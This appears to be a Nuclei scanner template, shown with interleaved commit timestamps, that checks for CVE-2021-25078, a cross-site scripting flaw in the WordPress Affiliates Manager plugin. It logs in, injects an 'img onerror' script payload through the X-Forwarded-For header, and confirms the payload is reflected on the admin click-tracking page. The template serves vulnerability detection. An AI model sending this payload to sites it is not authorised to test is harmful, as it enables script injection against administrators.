2023-04-21 08:56:01 +00:00
id : CVE-2021-25078
info :
name : Affiliates Manager < 2.9.0 - Cross Site Scripting
author : r3Y3r53
severity : medium
description : |
The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 2.9.0
2023-04-21 08:56:01 +00:00
reference :
- https://wpscan.com/vulnerability/d4edb5f2-aa1b-4e2d-abb4-76c46def6c6e
- https://nvd.nist.gov/vuln/detail/CVE-2021-25078
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/changeset/2648196
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-25078
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00382
2023-11-16 10:31:49 +00:00
epss-percentile : 0.7003
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:wpaffiliatemanager:affiliates_manager:*:*:*:*:*:wordpress:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : wpaffiliatemanager
product : affiliates_manager
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-04-21 11:47:35 +00:00
tags : cve,wp,wordpress,authenticated,cve2021,affiliates-manager,wp-plugin,xss,wpscan
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /?wpam_id=1 HTTP/1.1
Host : {{Hostname}}
X-Forwarded-For : <img src onerror=alert(document.domain)>
- |
GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200 && status_code_3 == 200'
2023-06-19 21:10:30 +00:00
- 'contains(header_3, "text/html")'
2023-04-21 08:56:01 +00:00
- 'contains(body_3, "<img src onerror=alert(document.domain)>")'
- 'contains(body_3, "Affiliates Manager Click Tracking")'
condition : and
2023-11-16 11:25:13 +00:00
# digest: 4b0a00483046022100f4cf94515f1b7a4032278e4b4de0cdd2a5c30ed94e815607e8b8d2cbd1970958022100bd0566c6e0a52694633c5e48fc9573ce8873016adaaade69380c2281afb36be6:922c64590222798bb761d5b6d8e72950